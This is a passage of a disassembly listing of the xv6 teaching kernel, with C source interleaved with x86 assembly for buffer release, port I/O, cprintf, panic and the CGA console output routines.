$0x80108930 80100209: e8 58 03 00 00 call 80100566 <panic> b->flags |= B_DIRTY; 8010020e: 8b 45 08 mov 0x8(%ebp),%eax 80100211: 8b 00 mov (%eax),%eax 80100213: 83 c8 04 or $0x4,%eax 80100216: 89 c2 mov %eax,%edx 80100218: 8b 45 08 mov 0x8(%ebp),%eax 8010021b: 89 10 mov %edx,(%eax) iderw(b); 8010021d: 83 ec 0c sub $0xc,%esp 80100220: ff 75 08 pushl 0x8(%ebp) 80100223: e8 e5 26 00 00 call 8010290d <iderw> 80100228: 83 c4 10 add $0x10,%esp } 8010022b: 90 nop 8010022c: c9 leave 8010022d: c3 ret 8010022e <brelse>: // Release a B_BUSY buffer. // Move to the head of the MRU list. void brelse(struct buf *b) { 8010022e: 55 push %ebp 8010022f: 89 e5 mov %esp,%ebp 80100231: 83 ec 08 sub $0x8,%esp if((b->flags & B_BUSY) == 0) 80100234: 8b 45 08 mov 0x8(%ebp),%eax 80100237: 8b 00 mov (%eax),%eax 80100239: 83 e0 01 and $0x1,%eax 8010023c: 85 c0 test %eax,%eax 8010023e: 75 0d jne 8010024d <brelse+0x1f> panic("brelse"); 80100240: 83 ec 0c sub $0xc,%esp 80100243: 68 37 89 10 80 push $0x80108937 80100248: e8 19 03 00 00 call 80100566 <panic> acquire(&bcache.lock); 8010024d: 83 ec 0c sub $0xc,%esp 80100250: 68 40 e0 10 80 push $0x8010e040 80100255: e8 dc 4e 00 00 call 80105136 <acquire> 8010025a: 83 c4 10 add $0x10,%esp b->next->prev = b->prev; 8010025d: 8b 45 08 mov 0x8(%ebp),%eax 80100260: 8b 40 10 mov 0x10(%eax),%eax 80100263: 8b 55 08 mov 0x8(%ebp),%edx 80100266: 8b 52 0c mov 0xc(%edx),%edx 80100269: 89 50 0c mov %edx,0xc(%eax) b->prev->next = b->next; 8010026c: 8b 45 08 mov 0x8(%ebp),%eax 8010026f: 8b 40 0c mov 0xc(%eax),%eax 80100272: 8b 55 08 mov 0x8(%ebp),%edx 80100275: 8b 52 10 mov 0x10(%edx),%edx 80100278: 89 50 10 mov %edx,0x10(%eax) b->next = bcache.head.next; 8010027b: 8b 15 54 1f 11 80 mov 0x80111f54,%edx 80100281: 8b 45 08 mov 0x8(%ebp),%eax 80100284: 89 50 10 mov %edx,0x10(%eax) b->prev = &bcache.head; 80100287: 8b 45 08 mov 0x8(%ebp),%eax 8010028a: c7 40 0c 44 1f 11 80 movl $0x80111f44,0xc(%eax) bcache.head.next->prev = b; 80100291: a1 54 1f 11 80 mov 0x80111f54,%eax 80100296: 8b 55 08 mov 0x8(%ebp),%edx 80100299: 89 50 0c mov %edx,0xc(%eax) bcache.head.next = b; 8010029c: 8b 45 08 mov 0x8(%ebp),%eax 8010029f: a3 54 1f 11 80 mov %eax,0x80111f54 b->flags &= ~B_BUSY; 801002a4: 8b 45 08 mov 0x8(%ebp),%eax 801002a7: 8b 00 mov (%eax),%eax 801002a9: 83 e0 fe and $0xfffffffe,%eax 801002ac: 89 c2 mov %eax,%edx 801002ae: 8b 45 08 mov 0x8(%ebp),%eax 801002b1: 89 10 mov %edx,(%eax) wakeup(b); 801002b3: 83 ec 0c sub $0xc,%esp 801002b6: ff 75 08 pushl 0x8(%ebp) 801002b9: e8 24 4c 00 00 call 80104ee2 <wakeup> 801002be: 83 c4 10 add $0x10,%esp release(&bcache.lock); 801002c1: 83 ec 0c sub $0xc,%esp 801002c4: 68 40 e0 10 80 push $0x8010e040 801002c9: e8 cf 4e 00 00 call 8010519d <release> 801002ce: 83 c4 10 add $0x10,%esp } 801002d1: 90 nop 801002d2: c9 leave 801002d3: c3 ret 801002d4 <inb>: // Routines to let C code use special x86 instructions. static inline uchar inb(ushort port) { 801002d4: 55 push %ebp 801002d5: 89 e5 mov %esp,%ebp 801002d7: 83 ec 14 sub $0x14,%esp 801002da: 8b 45 08 mov 0x8(%ebp),%eax 801002dd: 66 89 45 ec mov %ax,-0x14(%ebp) uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801002e1: 0f b7 45 ec movzwl -0x14(%ebp),%eax 801002e5: 89 c2 mov %eax,%edx 801002e7: ec in (%dx),%al 801002e8: 88 45 ff mov %al,-0x1(%ebp) return data; 801002eb: 0f b6 45 ff movzbl -0x1(%ebp),%eax } 801002ef: c9 leave 801002f0: c3 ret 801002f1 <outb>: "memory", "cc"); } static inline void outb(ushort port, uchar data) { 801002f1: 55 push %ebp 801002f2: 89 e5 mov %esp,%ebp 801002f4: 83 ec 08 sub $0x8,%esp 801002f7: 8b 55 08 mov 0x8(%ebp),%edx 801002fa: 8b 45 0c mov 0xc(%ebp),%eax 801002fd: 66 89 55 fc mov %dx,-0x4(%ebp) 80100301: 88 45 f8 mov %al,-0x8(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80100304: 0f b6 45 f8 movzbl -0x8(%ebp),%eax 80100308: 0f b7 55 fc movzwl -0x4(%ebp),%edx 8010030c: ee out %al,(%dx) } 8010030d: 90 nop 8010030e: c9 leave 8010030f: c3 ret 80100310 <cli>: asm volatile("movw %0, %%gs" : : "r" (v)); } static inline void cli(void) { 80100310: 55 push %ebp 80100311: 89 e5 mov %esp,%ebp asm volatile("cli"); 80100313: fa cli } 80100314: 90 nop 80100315: 5d pop %ebp 80100316: c3 ret 80100317 <printint>: int locking; } cons; static void printint(int xx, int base, int sign) { 80100317: 55 push %ebp 80100318: 89 e5 mov %esp,%ebp 8010031a: 53 push %ebx 8010031b: 83 ec 24 sub $0x24,%esp static char digits[] = "0123456789abcdef"; char buf[16]; int i; uint x; if(sign && (sign = xx < 0)) 8010031e: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 80100322: 74 1c je 80100340 <printint+0x29> 80100324: 8b 45 08 mov 0x8(%ebp),%eax 80100327: c1 e8 1f shr $0x1f,%eax 8010032a: 0f b6 c0 movzbl %al,%eax 8010032d: 89 45 10 mov %eax,0x10(%ebp) 80100330: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 80100334: 74 0a je 80100340 <printint+0x29> x = -xx; 80100336: 8b 45 08 mov 0x8(%ebp),%eax 80100339: f7 d8 neg %eax 8010033b: 89 45 f0 mov %eax,-0x10(%ebp) 8010033e: eb 06 jmp 80100346 <printint+0x2f> else x = xx; 80100340: 8b 45 08 mov 0x8(%ebp),%eax 80100343: 89 45 f0 mov %eax,-0x10(%ebp) i = 0; 80100346: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) do{ buf[i++] = digits[x % base]; 8010034d: 8b 4d f4 mov -0xc(%ebp),%ecx 80100350: 8d 41 01 lea 0x1(%ecx),%eax 80100353: 89 45 f4 mov %eax,-0xc(%ebp) 80100356: 8b 5d 0c mov 0xc(%ebp),%ebx 80100359: 8b 45 f0 mov -0x10(%ebp),%eax 8010035c: ba 00 00 00 00 mov $0x0,%edx 80100361: f7 f3 div %ebx 80100363: 89 d0 mov %edx,%eax 80100365: 0f b6 80 04 a0 10 80 movzbl -0x7fef5ffc(%eax),%eax 8010036c: 88 44 0d e0 mov %al,-0x20(%ebp,%ecx,1) }while((x /= base) != 0); 80100370: 8b 5d 0c mov 0xc(%ebp),%ebx 80100373: 8b 45 f0 mov -0x10(%ebp),%eax 80100376: ba 00 00 00 00 mov $0x0,%edx 8010037b: f7 f3 div %ebx 8010037d: 89 45 f0 mov %eax,-0x10(%ebp) 80100380: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80100384: 75 c7 jne 8010034d <printint+0x36> if(sign) 80100386: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 8010038a: 74 2a je 801003b6 <printint+0x9f> buf[i++] = '-'; 8010038c: 8b 45 f4 mov -0xc(%ebp),%eax 8010038f: 8d 50 01 lea 0x1(%eax),%edx 80100392: 89 55 f4 mov %edx,-0xc(%ebp) 80100395: c6 44 05 e0 2d movb $0x2d,-0x20(%ebp,%eax,1) while(--i >= 0) 8010039a: eb 1a jmp 801003b6 <printint+0x9f> consputc(buf[i]); 8010039c: 8d 55 e0 lea -0x20(%ebp),%edx 8010039f: 8b 45 f4 mov -0xc(%ebp),%eax 801003a2: 01 d0 add %edx,%eax 801003a4: 0f b6 00 movzbl (%eax),%eax 801003a7: 0f be c0 movsbl %al,%eax 801003aa: 83 ec 0c sub $0xc,%esp 801003ad: 50 push %eax 801003ae: e8 df 03 00 00 call 80100792 <consputc> 801003b3: 83 c4 10 add $0x10,%esp }while((x /= base) != 0); if(sign) buf[i++] = '-'; while(--i >= 0) 801003b6: 83 6d f4 01 subl $0x1,-0xc(%ebp) 801003ba: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 801003be: 79 dc jns 8010039c <printint+0x85> consputc(buf[i]); } 801003c0: 90 nop 801003c1: 8b 5d fc mov -0x4(%ebp),%ebx 801003c4: c9 leave 801003c5: c3 ret 801003c6 <cprintf>: //PAGEBREAK: 50 // Print to the console. only understands %d, %x, %p, %s. void cprintf(char *fmt, ...) { 801003c6: 55 push %ebp 801003c7: 89 e5 mov %esp,%ebp 801003c9: 83 ec 28 sub $0x28,%esp int i, c, locking; uint *argp; char *s; locking = cons.locking; 801003cc: a1 14 c6 10 80 mov 0x8010c614,%eax 801003d1: 89 45 e8 mov %eax,-0x18(%ebp) if(locking) 801003d4: 83 7d e8 00 cmpl $0x0,-0x18(%ebp) 801003d8: 74 10 je 801003ea <cprintf+0x24> acquire(&cons.lock); 801003da: 83 ec 0c sub $0xc,%esp 801003dd: 68 e0 c5 10 80 push $0x8010c5e0 801003e2: e8 4f 4d 00 00 call 80105136 <acquire> 801003e7: 83 c4 10 add $0x10,%esp if (fmt == 0) 801003ea: 8b 45 08 mov 0x8(%ebp),%eax 801003ed: 85 c0 test %eax,%eax 801003ef: 75 0d jne 801003fe <cprintf+0x38> panic("null fmt"); 801003f1: 83 ec 0c sub $0xc,%esp 801003f4: 68 3e 89 10 80 push $0x8010893e 801003f9: e8 68 01 00 00 call 80100566 <panic> argp = (uint*)(void*)(&fmt + 1); 801003fe: 8d 45 0c lea 0xc(%ebp),%eax 80100401: 89 45 f0 mov %eax,-0x10(%ebp) for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 80100404: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 8010040b: e9 1a 01 00 00 jmp 8010052a <cprintf+0x164> if(c != '%'){ 80100410: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 80100414: 74 13 je 80100429 <cprintf+0x63> consputc(c); 80100416: 83 ec 0c sub $0xc,%esp 80100419: ff 75 e4 pushl -0x1c(%ebp) 8010041c: e8 71 03 00 00 call 80100792 <consputc> 80100421: 83 c4 10 add $0x10,%esp continue; 80100424: e9 fd 00 00 00 jmp 80100526 <cprintf+0x160> } c = fmt[++i] & 0xff; 80100429: 8b 55 08 mov 0x8(%ebp),%edx 8010042c: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80100430: 8b 45 f4 mov -0xc(%ebp),%eax 80100433: 01 d0 add %edx,%eax 80100435: 0f b6 00 movzbl (%eax),%eax 80100438: 0f be c0 movsbl %al,%eax 8010043b: 25 ff 00 00 00 and $0xff,%eax 80100440: 89 45 e4 mov %eax,-0x1c(%ebp) if(c == 0) 80100443: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp) 80100447: 0f 84 ff 00 00 00 je 8010054c <cprintf+0x186> break; switch(c){ 8010044d: 8b 45 e4 mov -0x1c(%ebp),%eax 80100450: 83 f8 70 cmp $0x70,%eax 80100453: 74 47 je 8010049c <cprintf+0xd6> 80100455: 83 f8 70 cmp $0x70,%eax 80100458: 7f 13 jg 8010046d <cprintf+0xa7> 8010045a: 83 f8 25 cmp $0x25,%eax 8010045d: 0f 84 98 00 00 00 je 801004fb <cprintf+0x135> 80100463: 83 f8 64 cmp $0x64,%eax 80100466: 74 14 je 8010047c <cprintf+0xb6> 80100468: e9 9d 00 00 00 jmp 8010050a <cprintf+0x144> 8010046d: 83 f8 73 cmp $0x73,%eax 80100470: 74 47 je 801004b9 <cprintf+0xf3> 80100472: 83 f8 78 cmp $0x78,%eax 80100475: 74 25 je 8010049c <cprintf+0xd6> 80100477: e9 8e 00 00 00 jmp 8010050a <cprintf+0x144> case 'd': printint(*argp++, 10, 1); 8010047c: 8b 45 f0 mov -0x10(%ebp),%eax 8010047f: 8d 50 04 lea 0x4(%eax),%edx 80100482: 89 55 f0 mov %edx,-0x10(%ebp) 80100485: 8b 00 mov (%eax),%eax 80100487: 83 ec 04 sub $0x4,%esp 8010048a: 6a 01 push $0x1 8010048c: 6a 0a push $0xa 8010048e: 50 push %eax 8010048f: e8 83 fe ff ff call 80100317 <printint> 80100494: 83 c4 10 add $0x10,%esp break; 80100497: e9 8a 00 00 00 jmp 80100526 <cprintf+0x160> case 'x': case 'p': printint(*argp++, 16, 0); 8010049c: 8b 45 f0 mov -0x10(%ebp),%eax 8010049f: 8d 50 04 lea 0x4(%eax),%edx 801004a2: 89 55 f0 mov %edx,-0x10(%ebp) 801004a5: 8b 00 mov (%eax),%eax 801004a7: 83 ec 04 sub $0x4,%esp 801004aa: 6a 00 push $0x0 801004ac: 6a 10 push $0x10 801004ae: 50 push %eax 801004af: e8 63 fe ff ff call 80100317 <printint> 801004b4: 83 c4 10 add $0x10,%esp break; 801004b7: eb 6d jmp 80100526 <cprintf+0x160> case 's': if((s = (char*)*argp++) == 0) 801004b9: 8b 45 f0 mov -0x10(%ebp),%eax 801004bc: 8d 50 04 lea 0x4(%eax),%edx 801004bf: 89 55 f0 mov %edx,-0x10(%ebp) 801004c2: 8b 00 mov (%eax),%eax 801004c4: 89 45 ec mov %eax,-0x14(%ebp) 801004c7: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 801004cb: 75 22 jne 801004ef <cprintf+0x129> s = "(null)"; 801004cd: c7 45 ec 47 89 10 80 movl $0x80108947,-0x14(%ebp) for(; *s; s++) 801004d4: eb 19 jmp 801004ef <cprintf+0x129> consputc(*s); 801004d6: 8b 45 ec mov -0x14(%ebp),%eax 801004d9: 0f b6 00 movzbl (%eax),%eax 801004dc: 0f be c0 movsbl %al,%eax 801004df: 83 ec 0c sub $0xc,%esp 801004e2: 50 push %eax 801004e3: e8 aa 02 00 00 call 80100792 <consputc> 801004e8: 83 c4 10 add $0x10,%esp printint(*argp++, 16, 0); break; case 's': if((s = (char*)*argp++) == 0) s = "(null)"; for(; *s; s++) 801004eb: 83 45 ec 01 addl $0x1,-0x14(%ebp) 801004ef: 8b 45 ec mov -0x14(%ebp),%eax 801004f2: 0f b6 00 movzbl (%eax),%eax 801004f5: 84 c0 test %al,%al 801004f7: 75 dd jne 801004d6 <cprintf+0x110> consputc(*s); break; 801004f9: eb 2b jmp 80100526 <cprintf+0x160> case '%': consputc('%'); 801004fb: 83 ec 0c sub $0xc,%esp 801004fe: 6a 25 push $0x25 80100500: e8 8d 02 00 00 call 80100792 <consputc> 80100505: 83 c4 10 add $0x10,%esp break; 80100508: eb 1c jmp 80100526 <cprintf+0x160> default: // Print unknown % sequence to draw attention. consputc('%'); 8010050a: 83 ec 0c sub $0xc,%esp 8010050d: 6a 25 push $0x25 8010050f: e8 7e 02 00 00 call 80100792 <consputc> 80100514: 83 c4 10 add $0x10,%esp consputc(c); 80100517: 83 ec 0c sub $0xc,%esp 8010051a: ff 75 e4 pushl -0x1c(%ebp) 8010051d: e8 70 02 00 00 call 80100792 <consputc> 80100522: 83 c4 10 add $0x10,%esp break; 80100525: 90 nop if (fmt == 0) panic("null fmt"); argp = (uint*)(void*)(&fmt + 1); for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 80100526: 83 45 f4 01 addl $0x1,-0xc(%ebp) 8010052a: 8b 55 08 mov 0x8(%ebp),%edx 8010052d: 8b 45 f4 mov -0xc(%ebp),%eax 80100530: 01 d0 add %edx,%eax 80100532: 0f b6 00 movzbl (%eax),%eax 80100535: 0f be c0 movsbl %al,%eax 80100538: 25 ff 00 00 00 and $0xff,%eax 8010053d: 89 45 e4 mov %eax,-0x1c(%ebp) 80100540: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp) 80100544: 0f 85 c6 fe ff ff jne 80100410 <cprintf+0x4a> 8010054a: eb 01 jmp 8010054d <cprintf+0x187> consputc(c); continue; } c = fmt[++i] & 0xff; if(c == 0) break; 8010054c: 90 nop consputc(c); break; } } if(locking) 8010054d: 83 7d e8 00 cmpl $0x0,-0x18(%ebp) 80100551: 74 10 je 80100563 <cprintf+0x19d> release(&cons.lock); 80100553: 83 ec 0c sub $0xc,%esp 80100556: 68 e0 c5 10 80 push $0x8010c5e0 8010055b: e8 3d 4c 00 00 call 8010519d <release> 80100560: 83 c4 10 add $0x10,%esp } 80100563: 90 nop 80100564: c9 leave 80100565: c3 ret 80100566 <panic>: void panic(char *s) { 80100566: 55 push %ebp 80100567: 89 e5 mov %esp,%ebp 80100569: 83 ec 38 sub $0x38,%esp int i; uint pcs[10]; cli(); 8010056c: e8 9f fd ff ff call 80100310 <cli> cons.locking = 0; 80100571: c7 05 14 c6 10 80 00 movl $0x0,0x8010c614 80100578: 00 00 00 cprintf("cpu%d: panic: ", cpu->id); 8010057b: 65 a1 00 00 00 00 mov %gs:0x0,%eax 80100581: 0f b6 00 movzbl (%eax),%eax 80100584: 0f b6 c0 movzbl %al,%eax 80100587: 83 ec 08 sub $0x8,%esp 8010058a: 50 push %eax 8010058b: 68 4e 89 10 80 push $0x8010894e 80100590: e8 31 fe ff ff call 801003c6 <cprintf> 80100595: 83 c4 10 add $0x10,%esp cprintf(s); 80100598: 8b 45 08 mov 0x8(%ebp),%eax 8010059b: 83 ec 0c sub $0xc,%esp 8010059e: 50 push %eax 8010059f: e8 22 fe ff ff call 801003c6 <cprintf> 801005a4: 83 c4 10 add $0x10,%esp cprintf("\n"); 801005a7: 83 ec 0c sub $0xc,%esp 801005aa: 68 5d 89 10 80 push $0x8010895d 801005af: e8 12 fe ff ff call 801003c6 <cprintf> 801005b4: 83 c4 10 add $0x10,%esp getcallerpcs(&s, pcs); 801005b7: 83 ec 08 sub $0x8,%esp 801005ba: 8d 45 cc lea -0x34(%ebp),%eax 801005bd: 50 push %eax 801005be: 8d 45 08 lea 0x8(%ebp),%eax 801005c1: 50 push %eax 801005c2: e8 28 4c 00 00 call 801051ef <getcallerpcs> 801005c7: 83 c4 10 add $0x10,%esp for(i=0; i<10; i++) 801005ca: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 801005d1: eb 1c jmp 801005ef <panic+0x89> cprintf(" %p", pcs[i]); 801005d3: 8b 45 f4 mov -0xc(%ebp),%eax 801005d6: 8b 44 85 cc mov -0x34(%ebp,%eax,4),%eax 801005da: 83 ec 08 sub $0x8,%esp 801005dd: 50 push %eax 801005de: 68 5f 89 10 80 push $0x8010895f 801005e3: e8 de fd ff ff call 801003c6 <cprintf> 801005e8: 83 c4 10 add $0x10,%esp cons.locking = 0; cprintf("cpu%d: panic: ", cpu->id); cprintf(s); cprintf("\n"); getcallerpcs(&s, pcs); for(i=0; i<10; i++) 801005eb: 83 45 f4 01 addl $0x1,-0xc(%ebp) 801005ef: 83 7d f4 09 cmpl $0x9,-0xc(%ebp) 801005f3: 7e de jle 801005d3 <panic+0x6d> cprintf(" %p", pcs[i]); panicked = 1; // freeze other CPU 801005f5: c7 05 c0 c5 10 80 01 movl $0x1,0x8010c5c0 801005fc: 00 00 00 for(;;) ; 801005ff: eb fe jmp 801005ff <panic+0x99> 80100601 <cgaputc>: #define CRTPORT 0x3d4 static ushort *crt = (ushort*)P2V(0xb8000); // CGA memory static void cgaputc(int c) { 80100601: 55 push %ebp 80100602: 89 e5 mov %esp,%ebp 80100604: 83 ec 18 sub $0x18,%esp int pos; // Cursor position: col + 80*row. outb(CRTPORT, 14); 80100607: 6a 0e push $0xe 80100609: 68 d4 03 00 00 push $0x3d4 8010060e: e8 de fc ff ff call 801002f1 <outb> 80100613: 83 c4 08 add $0x8,%esp pos = inb(CRTPORT+1) << 8; 80100616: 68 d5 03 00 00 push $0x3d5 8010061b: e8 b4 fc ff ff call 801002d4 <inb> 80100620: 83 c4 04 add $0x4,%esp 80100623: 0f b6 c0 movzbl %al,%eax 80100626: c1 e0 08 shl $0x8,%eax 80100629: 89 45 f4 mov %eax,-0xc(%ebp) outb(CRTPORT, 15); 8010062c: 6a 0f push $0xf 8010062e: 68 d4 03 00 00 push $0x3d4 80100633: e8 b9 fc ff ff call 801002f1 <outb> 80100638: 83 c4 08 add $0x8,%esp pos |= inb(CRTPORT+1); 8010063b: 68 d5 03 00 00 push $0x3d5 80100640: e8 8f fc ff ff call 801002d4 <inb> 80100645: 83 c4 04 add $0x4,%esp 80100648: 0f b6 c0 movzbl %al,%eax 8010064b: 09 45 f4 or %eax,-0xc(%ebp) if(c == '\n') 8010064e: 83 7d 08 0a cmpl $0xa,0x8(%ebp) 80100652: 75 30 jne 80100684 <cgaputc+0x83> pos += 80 - pos%80; 80100654: 8b 4d f4 mov -0xc(%ebp),%ecx 80100657: ba 67 66 66 66 mov $0x66666667,%edx 8010065c: 89 c8 mov %ecx,%eax 8010065e: f7 ea imul %edx 80100660: c1 fa 05 sar $0x5,%edx 80100663: 89 c8 mov %ecx,%eax 80100665: c1 f8 1f sar $0x1f,%eax 80100668: 29 c2 sub %eax,%edx 8010066a: 89 d0 mov %edx,%eax 8010066c: c1 e0 02 shl $0x2,%eax 8010066f: 01 d0 add %edx,%eax 80100671: c1 e0 04 shl $0x4,%eax 80100674: 29 c1 sub %eax,%ecx 80100676: 89 ca mov %ecx,%edx 80100678: b8 50 00 00 00 mov $0x50,%eax 8010067d: 29 d0 sub %edx,%eax 8010067f: 01 45 f4 add %eax,-0xc(%ebp) 80100682: eb 34 jmp 801006b8 <cgaputc+0xb7> else if(c == BACKSPACE){ 80100684: 81 7d 08 00 01 00 00 cmpl $0x100,0x8(%ebp) 8010068b: 75 0c jne 80100699 <cgaputc+0x98> if(pos > 0) --pos; 8010068d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80100691: 7e 25 jle 801006b8 <cgaputc+0xb7> 80100693: 83 6d f4 01 subl $0x1,-0xc(%ebp) 80100697: eb 1f jmp 801006b8 <cgaputc+0xb7> } else crt[pos++] = (c&0xff) | 0x0700; // black on white 80100699: 8b 0d 00 a0 10 80 mov 0x8010a000,%ecx 8010069f: 8b 45 f4 mov -0xc(%ebp),%eax 801006a2: 8d 50 01 lea 0x1(%eax),%edx 801006a5: 89 55 f4 mov %edx,-0xc(%ebp) 801006a8: 01 c0 add %eax,%eax 801006aa: 01 c8 add %ecx,%eax 801006ac: 8b 55 08 mov 0x8(%ebp),%edx 801006af: 0f b6 d2 movzbl %dl,%edx 801006b2: 80 ce 07 or $0x7,%dh 801006b5: 66 89 10 mov %dx,(%eax) if(pos < 0 || pos > 25*80) 801006b8: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 801006bc: 78 09 js 801006c7 <cgaputc+0xc6> 801006be: 81 7d f4 d0 07 00 00 cmpl $0x7d0,-0xc(%ebp) 801006c5: 7e 0d jle 801006d4 <cgaputc+0xd3> panic("pos under/overflow"); 801006c7: 83 ec 0c sub $0xc,%esp 801006ca: 68 63 89 10 80 push $0x80108963 801006cf: e8 92 fe ff ff call 80100566 <panic> if((pos/80) >= 24){ // Scroll up. 801006d4: 81 7d f4 7f 07 00 00 cmpl $0x77f,-0xc(%ebp) 801006db: 7e 4c jle 80100729 <cgaputc+0x128> memmove(crt, crt+80, sizeof(crt[0])*23*80); 801006dd: a1 00 a0 10 80 mov 0x8010a000,%eax 801006e2: 8d 90 a0 00 00 00 lea 0xa0(%eax),%edx 801006e8: a1 00 a0 10 80 mov 0x8010a000,%eax 801006ed: 83 ec 04 sub $0x4,%esp 801006f0: 68 60 0e 00 00 push $0xe60 801006f5: 52 push %edx 801006f6: 50 push %eax 801006f7: e8 5c 4d 00 00 call 80105458 <memmove> 801006fc: 83 c4 10 add $0x10,%esp pos -= 80; 801006ff: 83 6d f4 50 subl $0x50,-0xc(%ebp) memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos)); 80100703: b8 80 07 00 00 mov $0x780,%eax 80100708: 2b 45 f4 sub -0xc(%ebp),%eax 8010070b: 8d 14 00 lea (%eax,%eax,1),%edx 8010070e: a1 00 a0 10 80 mov 0x8010a000,%eax 80100713: 8b 4d f4 mov -0xc(%ebp),%ecx 80100716: 01 c9 add %ecx,%ecx 80100718: 01 c8 add %ecx,%eax 8010071a: 83 ec 04 sub $0x4,%esp 8010071d: 52 push %edx 8010071e: 6a 00 push $0x0 80100720: 50 push %eax 80100721: e8 73 4c 00 00 call 80105399 <memset> 80100726: 83 c4 10 add $0x10,%esp } outb(CRTPORT, 14); 80100729: 83 ec 08 sub $0x8,%esp 8010072c: 6a 0e push $0xe 8010072e: 68 d4 03 00 00 push $0x3d4 80100733: e8 b9 fb ff ff call 801002f1 <outb> 80100738: 83 c4 10 add $0x10,%esp outb(CRTPORT+1, pos>>8); 8010073b: 8b 45 f4 mov -0xc(%ebp),%eax 8010073e: c1 f8 08 sar $0x8,%eax 80100741: 0f b6 c0 movzbl %al,%eax 80100744: 83 ec 08 sub $0x8,%esp 80100747: 50 push %eax 80100748: 68 d5 03 00 00 push $0x3d5 8010074d: e8 9f fb ff ff call 801002f1 <outb> 80100752: 83 c4 10 add $0x10,%esp outb(CRTPORT, 15); 80100755: 83 ec 08 sub $0x8,%esp 80100758: 6a 0f push $0xf 8010075a: 68 d4 03 00 00 push $0x3d4 8010075f: e8 8d fb ff ff call 801002f1 <outb> 80100764: 83 c4 10 add $0x10,%esp outb(CRTPORT+1, pos); 80100767: 8b 45 f4 mov -0xc(%ebp),%eax 8010076a: 0f b6 c0 movzbl %al,%eax 8010076d: 83 ec 08 sub $0x8,%esp 80100770: 50 push %eax 80100771: 68 d5 03 00 00 push $0x3d5 80100776: e8 76 fb ff ff call 801002f1 <outb> 8010077b: 83 c4 10 add $0x10,%esp crt[pos] = ' ' | 0x0700; 8010077e: a1 00 a0 10 80 mov 0x8010a000,%eax 80100783: 8b 55 f4 mov -0xc(%ebp),%edx 80100786: 01 d2 add %edx,%edx 80100788: 01 d0 add %edx,%eax 8010078a: 66 c7 00 20 07 movw $0x720,(%eax) } 8010078f: 90 nop 80100790: c9 leave 80100791: c3 ret 80100792 <consputc>: void consputc(int c) { 80100792: 55 push %ebp 80100793: 89 e5 mov %esp,%ebp 80100795: 83 ec 08 sub $0x8,%esp if(panicked){ 80100798: a1 c0 c5 10 80 mov 0x8010c5c0,%eax 8010079d: 85 c0 test %eax,%eax 8010079f: 74 07 je 801007a8 <consputc+0x16> cli(); 801007a1: e8 6a fb ff ff call 80100310 <cli> for(;;) ; 801007a6: eb fe jmp 801007a6 <consputc+0x14> } if(c == BACKSPACE){ 801007a8: 81 7d 08 00 01 00 00 cmpl $0x100,0x8(%ebp) 801007af: 75 29 jne 801007da <consputc+0x48> uartputc('\b'); uartputc(' '); uartputc('\b'); 801007b1: 83 ec 0c sub $0xc,%esp 801007b4: 6a 08 push $0x8 801007b6: e8 a3 65 00 00 call 80106d5e <uartputc> 801007bb: 83 c4 10 add $0x10,%esp 801007be: 83 ec 0c sub $0xc,%esp 801007c1: 6a 20 push $0x20 801007c3: e8 96 65 00 00 call 80106d5e <uartputc> 801007c8: 83 c4 10 add $0x10,%esp 801007cb: 83 ec 0c sub $0xc,%esp 801007ce: 6a 08 push $0x8 801007d0: e8 89 65 00 00 call 80106d5e <uartputc> 801007d5: 83 c4 10 add $0x10,%esp 801007d8: eb 0e jmp 801007e8 <consputc+0x56> } else uartputc(c); 801007da: 83 ec 0c sub $0xc,%esp 801007dd: ff 75 08 pushl 0x8(%ebp) 801007e0: e8 79 65 00 00 call 80106d5e <uartputc> 801007e5: 83 c4 10 add $0x10,%esp cgaputc(c); 801007e8: 83 ec 0c sub $0xc,%esp 801007eb: ff 75 08 pushl 0x8(%ebp) 801007ee: e8 0e fe ff ff call 80100601 <cgaputc> 801007f3: 83 c4 10 add $0x10,%esp } 801007f6: 90 nop 801007f7: c9 leave 801007f8: c3 ret 801007f9 <consoleintr>: #define C(x) ((x)-'@') // Control-x void consoleintr(int (*getc)(void)) { 801007f9: 55 push %ebp 801007fa: 89 e5 mov %esp,%ebp 801007fc: 83 ec 18 sub $0x18,%esp int c, doprocdump = 0; 801007ff: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) acquire(&cons.lock); 80100806: 83 ec 0c sub $0xc,%esp 80100809: 68 e0 c5 10 80 push $0x8010c5e0 8010080e: e8 23 49 00 00 call 80105136 <acquire> 80100813: 83 c4 10 add $0x10,%esp while((c = getc()) >= 0){ 80100816: e9 44 01 00 00 jmp 8010095f <consoleintr+0x166> switch(c){ 8010081b: 8b 45 f0 mov -0x10(%ebp),%eax 8010081e: 83 f8 10 cmp $0x10,%eax 80100821: 74 1e je 80100841 <consoleintr+0x48> 80100823: 83 f8 10 cmp $0x10,%eax 80100826: 7f 0a jg 80100832 <consoleintr+0x39> 80100828: 83 f8 08 cmp $0x8,%eax 8010082b: 74 6b je 80100898 <consoleintr+0x9f> 8010082d: e9 9b 00 00 00 jmp 801008cd <consoleintr+0xd4> 80100832: 83 f8 15 cmp $0x15,%eax 80100835: 74 33 je 8010086a <consoleintr+0x71> 80100837: 83 f8 7f cmp $0x7f,%eax 8010083a: 74 5c je 80100898 <consoleintr+0x9f> 8010083c: e9 8c 00 00 00 jmp 801008cd <consoleintr+0xd4> case C('P'): // Process listing. doprocdump = 1; // procdump() locks cons.lock indirectly; invoke later 80100841: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp) break; 80100848: e9 12 01 00 00 jmp 8010095f <consoleintr+0x166> case 